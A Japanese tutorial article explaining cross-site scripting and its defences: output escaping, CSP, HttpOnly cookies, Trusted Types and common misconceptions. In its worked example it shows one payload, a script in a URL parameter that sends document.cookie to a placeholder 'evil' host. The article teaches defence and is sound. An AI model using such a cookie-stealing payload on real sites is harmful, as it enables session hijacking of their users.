ssecutils
Security / Browser-native guide

XSS の基本と防ぎ方

著者 aki公開 8

XSS とは何か

XSS(Cross-Site Scripting)は、攻撃者が用意した JavaScript を被害者のブラウザ上で実行させる脆弱性です。被害者から見ると正規サイト内で動いているスクリプトに見えるため、Cookie の窃取、フォーム改ざん、なりすまし操作などあらゆる悪用に繋がります。

OWASP Top 10 では A03:2021 Injection の中に分類される、Web アプリ脆弱性の最古参にして最頻出。「ユーザー入力をそのまま HTML に出力した」が根本原因のすべてです。

3つの種類

XSS は実行経路によって3種類に分けられます。防御策は基本的に同じですが、見つけ方と影響範囲が異なります。

種類経路典型例
Reflected(反射型)URLパラメータがその場で反射検索結果ページのキーワード表示
Stored(蓄積型)DB等に保存され他ユーザーへ配信掲示板のコメント、SNSの投稿
DOM-basedクライアント側 JS が DOM を書換える時点location.hashinnerHTML へ代入

Stored が最も影響範囲が広く(不特定多数を巻き込む)、Reflected はリンクを踏ませる必要がある分ハードルがあるが「正規ドメイン下で動く」点で同じく危険。DOM-based はサーバーログに残らないので発見が遅れがちです。

具体例で見る

ユーザー入力 q をそのまま埋め込むサーバーがあったとします:

<p>検索結果: ${q}</p>

攻撃者が ?q=<script>fetch(`https://evil/?c=${document.cookie}`)</script> のような URL を被害者に踏ませると、被害者のブラウザで document.cookie が外部に送られます。Cookie に HttpOnly が無ければセッションがそのまま乗っ取られます。

防御の基本: 出力時エスケープ

XSS 対策の本丸は「HTML として出力する瞬間にエスケープすること」です。「入力時に弾く」ではありません(後述)。

最低限エスケープすべき5文字(HTML 文脈の場合):

文字エンティティ意味
<&lt;タグ開始の無効化
>&gt;タグ終了の無効化
&&amp;エンティティ起点の無効化
"&quot;属性値破壊の防止
'&#39;属性値破壊の防止(HTML5 で &apos;

モダンなテンプレートエンジン(React の JSX、Vue、Svelte、Go の html/template、Django、ERB の <%=h %>)はデフォルトで自動エスケープします。「自動エスケープを無効化する API」を使うときだけ気をつけるのが現代的な感覚です。

  • React: dangerouslySetInnerHTML
  • Vue: v-html
  • jQuery: .html()
  • 素の DOM: element.innerHTML = ...

⚠ 文脈を間違えると意味がない: HTML 本文に対するエスケープは <script> タグ内や属性値内では別ルール。<script>var x = "${q}"</script> のような JS 文字列に値を埋め込む場面では JSON.stringify で囲うのが安全です。

多層防御: CSP(Content-Security-Policy)

エスケープが破れた時の最後の砦が CSP です。HTTP レスポンスヘッダで「このページから実行を許可するスクリプトの出所」をブラウザに宣言します。

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-rAnd0m';
  object-src 'none';
  base-uri 'none'

ポイント:

  • 'unsafe-inline' をスクリプトで許可しない(許可した瞬間 CSP の防御がほぼ消える)
  • インラインスクリプトを使うなら nonce または hash を採用
  • object-src 'none' で Flash/PDF プラグイン経由の XSS を遮断
  • base-uri 'none'<base> 改ざん攻撃を防止

その他の追加防御

  • Cookie に HttpOnly: document.cookie から読めなくなり、Cookie 窃取型 XSS を無力化
  • X-Content-Type-Options: nosniff: ブラウザの MIME スニッフィングを止め、画像偽装スクリプトを防ぐ
  • Trusted Types(モダンブラウザ): innerHTML 等への代入を型レベルで強制チェック
  • サニタイザライブラリ(DOMPurify など): HTML を許可する必要がある場面(ブログのリッチエディタ等)で使う

よくある誤解

誤解1: 入力をサニタイズすれば安全

「DBに入れる前に < を消そう」は逆効果です。理由:

  • 入力時には出力先文脈(HTML本文 / 属性 / JS / URL)が分からないので適切にエスケープできない
  • 正規データ(コメントに 1 < 2 と書きたい場合等)まで壊す
  • サニタイズ漏れがあると後段で全部抜ける

「入力は受け入れて、出力時にエスケープ」が正しい原則。

誤解2: HTTPS にすれば XSS も防げる

HTTPS は通信路の盗聴・改ざんを防ぐもので、XSS(アプリ層の脆弱性)とは独立。HTTPS 化は前提として必要ですが XSS 対策にはなりません。

誤解3: WAF を入れれば終わり

WAF(Web Application Firewall)はパターンマッチで疑わしいリクエストを弾きますが、新しい構文や難読化で簡単にバイパスされます。「アプリ側のエスケープ + 多層防御」が本筋で、WAF は時間稼ぎの位置づけ。

おわりに

XSS の根は単純で「文字列を文脈ごとにエスケープせず HTML に流し込んだ」だけです。モダンなフレームワークは自動エスケープしてくれるので、「自動エスケープを破る API を使うときに警戒する」習慣を身につけ、加えて CSP / HttpOnly / nosniff の多層防御を必ず入れる、というのが現代的な構え方です。

本サイトの HTML Entity Encoder/Decoder では、最小エスケープ/名前付き/数値参照(10進・16進)の各レベルでどう変換されるか実機で確認できます。テンプレートエンジンの自動エスケープが内部で何をしているか、覗いてみてください。

この記事を書いた人
akiサイバーセキュリティ実務者 / エンジニア

サイバーセキュリティ業界で実務に携わるエンジニア。脆弱性・認証・暗号・ネットワークなど、現場で必要になる知識を開発者・運用担当者向けにかみ砕いて解説しています。

運営者・編集方針について

本記事は一般的な情報提供を目的とした解説であり、特定環境での動作・安全性・成果を保証するものではありません。実際の対策の適用は、各自の環境と責任において判断してください。

Tool companion

この記事と一緒に使えるツール

Related reading

関連記事

Security22
日本国内の主要セキュリティインシデント事例(2020–2025)国内の主要なセキュリティインシデント12件を一覧で俯瞰し、VPN未更新・委託先/グループ経由・弱い認証という繰り返し現れる侵入経路と失敗パターン、日本企業が今すぐ確認すべき対策チェックリストを事例研究として整理します。
Security12
ノートン vs ウイルスバスター 比較2026 - どちらを選ぶべきかNorton 360とウイルスバスタークラウドを料金・機能・サポート・動作の軽さで比較。VPN・バックアップ内蔵のオールインワンか、Pay Guard・24時間日本語電話サポートの国内安心感か。用途別の選び方を解説します。
Security10
ウイルスバスター クラウド レビュー - 機能・料金・特徴を解説トレンドマイクロのウイルスバスタークラウドの機能・料金プランを解説。AI検知・ランサムウェア対策(フォルダシールド)・Pay Guard・フィッシング対策など、国内シェアNo.1セキュリティソフトの全体像をまとめます。
Security10
ノートン 360 レビュー - 機能・料金・特徴を解説【世界No.1】世界販売台数No.1のノートン(Norton 360)の機能・料金プランを解説。リアルタイム保護・VPN・パスワードマネージャー・クラウドバックアップ・ダークウェブモニタリングなど、オールインワンセキュリティの全体像をまとめます。